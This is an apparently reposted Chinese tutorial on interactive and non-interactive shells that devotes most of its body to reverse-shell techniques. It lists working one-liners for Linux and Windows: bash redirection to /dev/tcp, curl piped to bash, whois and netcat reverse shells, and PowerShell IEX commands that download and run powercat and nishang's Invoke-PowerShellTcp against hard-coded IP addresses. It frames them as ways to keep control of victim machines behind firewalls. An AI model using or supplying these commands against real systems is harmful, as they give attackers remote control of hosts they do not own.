交互式shell与非交互式shell,反弹shell

这篇具有很好参考价值的文章主要介绍了交互式shell与非交互式shell,反弹shell。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

交互shell

交互shell就是shell等待你的输入,并且立即执行你提交的命令。
这种模式被称作交互式是因为shell与用户进行交互。
这种模式也是大多数用户非常熟悉的:登录、执行一些命令、签退。当签退后,shell也终止了。
需要进行信息交互,例如输入某个信息 会返回信息 你需要对其输入内容,输入会执行命令。
例如 cmd 终端 msf反弹后门shell nc反弹shell 这些都属于交互shell

非交互shell

shell也可以运行在另外一种模式:非交互式模式,以shell script(非交互)方式执行。
在这种模式下,shell不与你进行交互,而是读取存放在文件中的命令,并且执行它们。当它读到文件的结
尾,shell也就终止了。如webshell。

什么是反弹shell?

反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。

为什么要反弹shell?

通常用于被控端因防火墙受限、权限不足、端口被占用等情形。

举例:假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。那么什么情况下正向连接不能用了呢?

有如下情况:

1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。
2.目标机器的ip动态改变,你不能持续控制。
3.由于防火墙等限制,对方机器只能发送请求,不能接收请求。
4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机等情况都是未知的,所以建立一个服务端让恶意程序主动连接,才是上策。

那么反弹就很好理解了,攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。

Linux常见的反弹shell方法

bash反弹shell

攻击机使用nc监听端口:
nc -lvp 7777
目标机运行命令:
bash -i >& /dev/tcp/ip/port 0>&1

linux文件描述符:linux shell下有三种标准的文件描述符,分别如下:

 0 - stdin 代表标准输入,使用<或<<
 1 - stdout 代表标准输出,使用>或>>
 2 - stderr 代表标准错误输出,使用2>或2>>

还有就是>&这个符号的含义,最好的理解是这样的(也可以把&理解为用来区分文件和文件描述符):

 当>&后面接文件时,表示将标准输出和标准错误输出重定向至文件。
 当>&后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符

所以bash -i >& /dev/tcp/ip/port 的意思是指
bash -i代表在本地打开一个bash,然后就是/dev/tcp/ip/port, /dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,>&后面跟上/dev/tcp/ip/port这个文件代表将标准输出和标准错误输出重定向到这个文件,也就是传递到远程上,如果远程开启了对应的端口去监听,就会接收到这个bash的标准输出和标准错误输出,这个时候我们在本机CentOS输入命令,输出以及错误输出的内容就会被传递显示到远程。
而后面再加上 0>&1是将标准输入也重定向到远程,不然只能在本地输入命令。

curl反弹shell

把bash命令写入html文件,只要文本包含bash一句话即可。
curl IP/bash.html|bash
nc启动监听
个人理解:crul访问到该ip下的文件内容当作bash的输入

whois反弹shell

nc启动监听
whois -h IP -p port pwd //反弹的shell只能执行后面带的命令

nc反弹shell

使用nc反弹shell,需要的条件是被反弹shell的机器即目标机安装了nc,也可以自己上传。

攻击机使用nc监听端口:
nc -lvp 7777
目标机运行命令:
nc -e /bin/bash 192.168.0.4 7777(攻击机IP)

-e后面跟的参数代表的是在创建连接后执行的程序,这里代表在连接到远程后可以在远程执行一个本地shell(/bin/bash),也就是反弹一个shell给远程,可以看到远程已经成功反弹到了shell,并且可以执行命令。也就是说/bin/bash可以换成其他shell
当-e参数无法使用,可以利用到linux中的管道符

攻击机开启两个监听
nc -nvlp 6666
nc -nvlp 7777
目标机运行
nc 192.168.0.4 6666|/bin/bash|192.168.0.4 7777

这里通过在攻击机上监听两个端口,然后在使用目标机进行反向连接的时候使用到了管道符,管道符的作用是把管道符前的输出作为管道符后的输入,这样的话就可以在远程的6666端口的输入设备(键盘)输入命令,将命令输出传递至本地的/bin/bash,通过本地shell解释执行命令后,将命令执行的结果以及错误输入到远程的7777端口。

Windows反弹shell

1.nc反弹(与Linux大同小异)

2.powercat反弹

powercat是netcat的powershell版本
启动nc监听
在目标webshell中运行以下命令自动下载执行

以IEX下载远程PS1脚本绕过权限执行
powershell IEX (New-Object System.Net.Webclient).DownloadString('服务器上psl的路径');powercat -c IP -p port -e cmd

3.nishang反弹(与powercat大同小异)

目标机用power shell执行以下命令也可以在webshell中使用powershell下载执行文章来源地址https://www.toymoban.com/news/detail-780812.html

IEX (New-Object Net.WebClient).DownloadString('http://192.168.159.134/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.2.103 -port 4444

4.利用MSF反弹shell模块

到了这里,关于交互式shell与非交互式shell,反弹shell的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 人机交互学习-6 交互式系统的设计

    Allan Cooper建议不要过早地把重点放在小细节、小部件和精细的交互上会妨碍产品的设计,应先站在一个高层次上关注用户界面和相关行为的整体结构 Allan Cooper提出的交互框架不仅 定义了高层次的屏幕布局 ,同时定义了 产品的工作流、行为和组织 。它包括了6个主要步骤:

    2024年02月09日
    浏览(60)
  • 人机交互学习-5 交互式系统的需求

    关于目标产品的一种陈述,它指定了产品应做什么,或者应如何工作 应该是具体、明确和无歧义的 搜集数据 解释数据 提取需求 注:了解 功能不同 智能冰箱:应能够提示黄油已用完 字处理器:系统应支持多种格式 物理条件不同 移动设备运行的系统应尽可能小,屏幕显示限

    2024年02月09日
    浏览(57)
  • Pyspark交互式编程

    Pyspark交互式编程 有该数据集Data01.txt 该数据集包含了某大学计算机系的成绩,数据格式如下所示: 根据给定的数据集,在pyspark中通过编程来完成以下内容: 该系总共有多少学生; (提前启动好pyspark) 该系共开设了多少门课程; Tom同学的总成绩平均分是多少; 求每名同学的

    2023年04月08日
    浏览(48)
  • 构建一个动态交互式图表

    在Web开发中,JavaScript不仅是实现交互效果的关键,还可以用于构建复杂的可视化组件,如动态交互式图表。在本篇博客中,我将演示如何使用JavaScript和HTML5的Canvas元素来创建一个简单的动态条形图。 HTML结构  首先,我们需要一个HTML结构来容纳我们的图表。 JavaScript实现 接下

    2024年02月20日
    浏览(54)
  • 【非交互式零知识证明】(下)

    继续上一节的内容,我们首先再回顾一下经典交互式零知识证明。 交互式零知识证明的一般模型如下: (1)证明者和验证者共享一个公共输入,证明者可能拥有某个秘密输入; (2)如果验证者认可证明者的响应,则输出Accept,否则输出Reject。 经典交互式零知识证明除了应

    2024年02月04日
    浏览(46)
  • Android2:构建交互式应用

    一。创建项目 项目名 Beer Adviser 二。更新布局 activity_main.xml 三。增加资源 strings.xml 四。响应点击 MainActivity.kt 知识点:

    2024年02月12日
    浏览(58)
  • Matlab交互式的局部放大图

    在数据可视化中,很多时候需要对某一区间的数据进行局部放大,以获得对比度更高的可视化效果。下面利用 MATLAB 语言实现一个交互式的局部放大图绘制。 源码自行下载: 链接:https://pan.baidu.com/s/1yItVSinh6vU4ImlbZW6Deg?pwd=9dyl 提取码:9dyl 使用方法 : 1.将 BaseZoom.m 和 parameters

    2024年01月16日
    浏览(51)
  • 使用 htmx 构建交互式 Web 应用

    学习目标:了解htmx的基本概念、特点和用法,并能够运用htmx来创建交互式的Web应用程序。 学习内容: 1. 什么是htmx?    - htmx是一种用于构建交互式Web应用程序的JavaScript库。    - 它通过将HTML扩展为一种声明性的交互式语言,使得开发人员可以使用简单的HTML标记来实现动态

    2024年02月10日
    浏览(54)
  • Dash,方便创建「交互式」Web图表!

    你好,我是郭震 这篇文章,探讨 Dash —— 一个由 Plotly 开发的优秀 Python 框架,专为构建丰富的网络分析应用而设计。 推荐使用这个Python工具包! Dash 使得数据分析师能够使用 Python 创建互动式的 web 应用,而无需深入了解复杂的前端技术如 HTML 或 JavaScript。 要开始使用 Das

    2024年02月22日
    浏览(63)
  • OpenCV构建交互式图像距离测量工具

    在计算机视觉和图形学应用中,准确测量图像上的点之间距离是一项常见且重要的任务。本篇技术博客将详细介绍如何利用Python编程语言和OpenCV库构建一个交互式的图像距离测量工具。我们将通过编写一个名为ImageProcessor的类,让用户能够在图像上点击选取点,并实时显示两

    2024年04月14日
    浏览(47)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包